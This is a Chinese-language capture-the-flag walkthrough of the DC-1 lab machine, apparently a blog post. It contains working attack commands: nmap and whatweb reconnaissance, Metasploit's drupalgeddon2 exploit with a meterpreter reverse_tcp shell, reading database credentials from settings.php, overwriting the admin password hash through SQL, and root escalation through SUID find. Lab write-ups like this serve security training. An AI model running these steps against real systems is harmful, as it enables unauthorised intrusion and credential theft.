DC-1 靶场学习

以前写过了,有一些忘了,快速的重温一遍。
DC一共九个靶场,目标一天一个。

环境配置:

最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。

image-20230224151556977

image-20230224151420206

image-20230224151424358

信息搜集:

首先探测靶机ip,两种方法:

arp-scan -l
nmap -sP 192.168.28.0/24

image-20230224151844953

image-20230224151934633

靶机ip为192.168.28.129

image-20230224152007329

明显有一个80端口,继续用nmap探测端口情况。

image-20230224152145026

还开起了22和111端口,wappalyzer信息搜集,看一下框架。

image-20230224152437666

或者用kali自带的whatweb指纹探测。

whatweb -v 192.168.28.129

image-20230224152639042

同样得到的是Drupal7.0版本,msfconsole里存在Drupal攻击模块。

漏洞复现:

search去找Drupal模块

search Drupal

image-20230224153110889

进入exploit/unix/webapp/drupal_drupalgeddon2模块,然后查看payload。

use exploit/unix/webapp/drupal_drupalgeddon2
show payloads

image-20230224153319619

php/meterpreter/reverse_tcp可以利用。

然后设置payload和配置。

set payload /php/meterpreter/reverse_tcp
set RHOSTS 192.168.28.129

输入exploit启动。

image-20230224153645562

成功拿到shell,先反弹shell。

python -c "import pty;pty.spawn('/bin/bash')"

image-20230224153841490

FLAG获取

然后ls -l发现flag1.

Every good CMS needs a config file - and so do you
每个好的CMS都需要一个配置文件 - 你也是

明显是想让我们去查看配置文件。

image-20230224154037611

发现settings.php文件,查看后得到flag2.

 Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
蛮力和字典攻击不是
 *只有获得访问权限的方法(您将需要访问权限)。
 * 您可以使用这些凭据做什么?

不能爆破,但在配置中存在mysql账号密码,可以通过mysql查看账号密码。

mysql -udbuser -pR0ck3t

登录mysql。

在其中找到user表。

image-20230224154902860

但其中的pass被加密,猜测存在哈希加密代码,查找。

find . -name *hash*

image-20230224155102664

找到的password-hash.sh,这肯定是加密代码,cat一下。

#!/usr/bin/php
<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

先看帮助,理解脚本如何使用。

image-20230224155402217

然后运行脚本然后得到加密过后密码,随后密码替换。

update users set pass="$S$Ds.RBZ79FgPXwUiHZZd5eo2rVbYQzTomLgBhA24Sw04Bnr3UWSpB"where name="admin";

然后登录网站得到flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令来弄清楚如何获取阴影中的东西。

在/etc/passwd中发现flag4用户。

image-20230224160636908

得到flag4。

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?
您可以使用相同的方法来查找或访问 root 中的标志吗?
可能。但也许这并不容易。 或者也许是?

访问root文件夹需要root权限。

SUID提权:

find / -user root -perm -4000 -print 2>/dev/null

其中就有find,直接用。

find / -exec "/bin/bash" -p \;

image-20230224161616986

进入root目录得到最后的flag。

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
干的好!!!!

希望您喜欢这个并学到了一些新技能。

你可以让我知道你对这个小旅程的看法
通过推特与我联系 - @DCAU7

利用hydra暴力破解得到flag4的密码。

image-20230224172053998

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值